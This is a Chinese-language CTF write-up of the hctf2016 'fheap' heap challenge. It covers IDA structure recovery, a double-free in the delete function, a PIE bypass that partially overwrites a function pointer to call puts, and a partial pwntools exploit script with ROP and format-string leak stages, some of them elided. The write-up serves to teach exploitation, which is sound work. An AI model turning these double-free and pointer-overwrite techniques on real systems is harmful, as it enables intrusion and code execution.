pwn | hctf2016 fheap

Author Avatar
Aryb1n 4月 06, 2018

笑死…一上午就建结构体了….真是没建过不熟悉操作..添加一个成员要在ends那里点d, 要在前面点d就是更改这个成员的大小了, 有db, dw, dd, dq可以选…对应1, 2, 4, 8字节
还有数组的话…经常是由于对齐的原因, 源代码中0x100的数组在ida里看到可能会多出来个4字节之类的.
设置类型的时候选数组和选指针是很不一样的…显示出来就不一样
64bit的程序出现&unk_balabala + 4 * i, 说明这个很可能是个大小为4 * 8 = 0x20大小的结构…出现(一堆转换)(&unk_balabala + 4 * i)(arg1, arg2)说明这个偏移上是一个函数指针…应该是做得多了就熟悉了…我好菜QAQ

题目分析

00000000 ; Ins/Del : create/delete structure
00000000 ; D/A/*   : create structure member (data/ascii/array)
00000000 ; N       : rename structure or structure member
00000000 ; U       : delete structure member
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 String          struc ; (sizeof=0x20, mappedto_2) ; XREF: String_list/o
00000000 data            ptr_or_str ?
00000010 length          dq ?
00000018 release_func    dq ?
00000020 String          ends
00000020
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 ptr_or_str      union ; (sizeof=0x10, mappedto_4) ; XREF: String/r
00000000 ptr             dq ?
00000000 str             db 16 dup(?)
00000000 ptr_or_str      ends
00000000
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 String_list     struc ; (sizeof=0x10, mappedto_5) ; XREF: .bss:Slist/r
00000000 inuse           dq ?
00000008 Str             dq ?                    ; offset
00000010 String_list     ends

结果分析建立了俩结构体..大概就是

struct String {
    ptr_or_str data; //存字符数组或者字符串指针
    int        length; //长度
    void       (*release_func)(String *); // free函数指针

}
union ptr_or_str {
    void * ptr; // 8byte
    char str[16]; // 16byte
}
// 判断字符串长度是不是大于16, 大于16就堆上申请对应大小空间来存, 并把指针对应过来, 如果小的话, 就存在这个数组里
// 小的对应的函数只free(String), 长的会free(String)并且free(String -> data.ptr)

哦对, 题目输入有点坑, 哈哈哈
题目就只有两个功能, Create一个字符串和Delete一个字符串
漏洞的点在于Delete的时候没有判断是不是以及Delete过, 所以能double free

做了一天做不来…发现是因为开了PIE.. 我大概是个智障吧

PIC

我加了-fpic, 之后, 仿佛程序没啥变化…地址每次也米有随机, 大概是这样子就可以加载到其他位置了, 但如果是一个可执行文件, 他每次也不会变, 所以其实只对so有用?

PIE

加了-fpie, 用IDA打开程序, 显示的都是一个比较小的偏移量,比如0x61e, 而运行之后, 发现他的代码段和数据段也会每次随机化, 但末尾12位不变, 就是运行之后他会变成0x565555 61e, 后12位还是61e.
仔细查了一下有
-fPIE or -fpie
-pie
…这个杂乱的关系我还是没搞懂
而这题是gcc main.c -pie -fpic -o pwn
算了, 先到这里, 我知道这一段前面的内容就好了

所以这个时候我们要bypass PIE, 就要至少泄露出一个的地址…这道题目中的两个函数指针就可以做这个事情, 而我们要泄露这个指针我们至少要调用printf或者puts这样子的函数, 这个时候, 我们可以通过更改函数地址的末尾12bits来达到调用release_func的时候跑到任何距离他12bits的代码段来执行

而我们发现
Free1在0xd52
Free2在0xd6c
puts@plt就在0x990
所以我们可以把其中一个Free改成puts, 然后再泄露地址

#encoding: utf-8
from pwn import *

context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

Debug = 0
if Debug == 1 :
    p = remote('127.0.0.1', 10001)
else:
    p = process("./fheap")


elf = ELF("./fheap")

def z(a=''):
    gdb.attach(p,a)
    if a == '':
        raw_input()

def create(size, con):
    p.recvuntil("3.quit")
    p.sendline("create ")
    p.recvuntil("Pls give string size:")
    p.sendline(str(size))
    p.recvuntil("str:")
    p.send(con)

def delete(id, payload="yes"):
    p.recvuntil("3.quit")
    p.sendline("delete ")
    p.recvuntil("id:")
    p.sendline(str(id))
    p.recvuntil("sure?:")
    p.sendline(payload)

def ROP():
    ropchain  = "yes.padd" # trash
    # 下面是rop链
    ropchain += ...
    ...
    return ropchain


# Stage1
create(0x4, '0')
create(0x4, '1')

delete(0)
delete(1)
delete(0)
# 这个时候相当于把1放到free_list里了

create(0x4, '\x00') #0, trash
# 覆盖最后8位, 也就是函数指针, 让他变换成`call puts`
create(0x20, '6' * 20 + 'flag' + '\x2d') # 1(struc_str) -> 0(string)

delete(0) #注意...由于更改了函数指针, 这里没有free掉chunk0....

p.recvuntil('flag')
addr = p.recvline()
addr = addr[:-1]
base_addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d

p.success("base_addr: {}".format(hex(base_addr)))

# Stage2
# 这个时候我们已经有base了, 所以就可以操作了...
# 这个stage2假设我们有了libc..直接要修改got来起shell了
def stage2():
    pppp_ret = base_addr + 0x11dc

    delete(1) 
    # 这个时候注意一下, 他这里是先free(chunk0) -> free(chunk1)
    # 所以现在freelist里是1 -> 0 -> 1 -> 0 -> ....

    create(4, '\x00') # 这里的`\x00`很重要, 这样子就不会破坏`fd`, 如果胡乱写的话, 就不是 1, 0 循环链表了..甚至可能再分配两次就会崩溃...!调试一下就知道了

    create(0x20, 'a' * 0x18 + p64(pppp_ret)) #0 -> 1
    # 4 pop 会从高地址到低地址方向弹出来 0x8 * 4 - 0x20个字节
    # 这样子就能弹出来栈里没用的数据, 然后就到就到buf[8..]部分
    ################
    # buf是`[低](rbp - 0x110) ~ (rbp - 0x10)[高]`这0x100这些字节
    # 现在栈顶是由于开始的`sub rsp, 120h`
    # 现在的rsp是`rbp - 0x120`, 和buf相差0x10字节, 然后要把buf前8字节弹出来
    # 而且call了我们的release_func之后栈里多了8字节的函数返回地址, 所以共0x20
    # ---------------------------------------
    # .....
    # buf[8..16] ---> 我们rop的起点
    # buf[0..8] -------------------------+ rbp - 0x110
    # var_1                              +
    # var_2                              + rbp - 0x120
    # ret_addr_of_release_func ----------+ 栈顶

    payload = ROP()
    # 现在的data部分是chunk1了, 所以delete(1), 并且PPPPR之后就能返回到buf的第9字节, 前8字节是`yes.padd`(把yes填充到了8字节, 在第四个pop那里也弹出去了)
    delete(1, payload)

# True_Stage2
# 这题我们其实没有libc....所以我们要leak
# flappypig的做法就是用格式化字符串
def leak(address):
    printf_plt = base_addr + elf.plt['printf']
    delete(1)

    create(4, '\x00')

    payload1 = printf_payload + p64(printf_plt)
    create(0x20, payload1)
    # 这个printf_payload就是确定一下和address的距离然后填好
    # 据说wp是`%9$s`

    payload2 = "yes.padd" + address
    delete(1, payload2)
    # 这个时候处理收到的数据就可以了..
    ...
    # 处理好然后ret个值
    # 然后这个函数就可以交给Dynleak了...


# Stage3 就是更改got表, 拿shell了
    ...

p.interactive()

又学到了好多QAQ, 我好菜…这道题当场做出来的真厉害, 这要是都写出来得写多少
暂时先放下了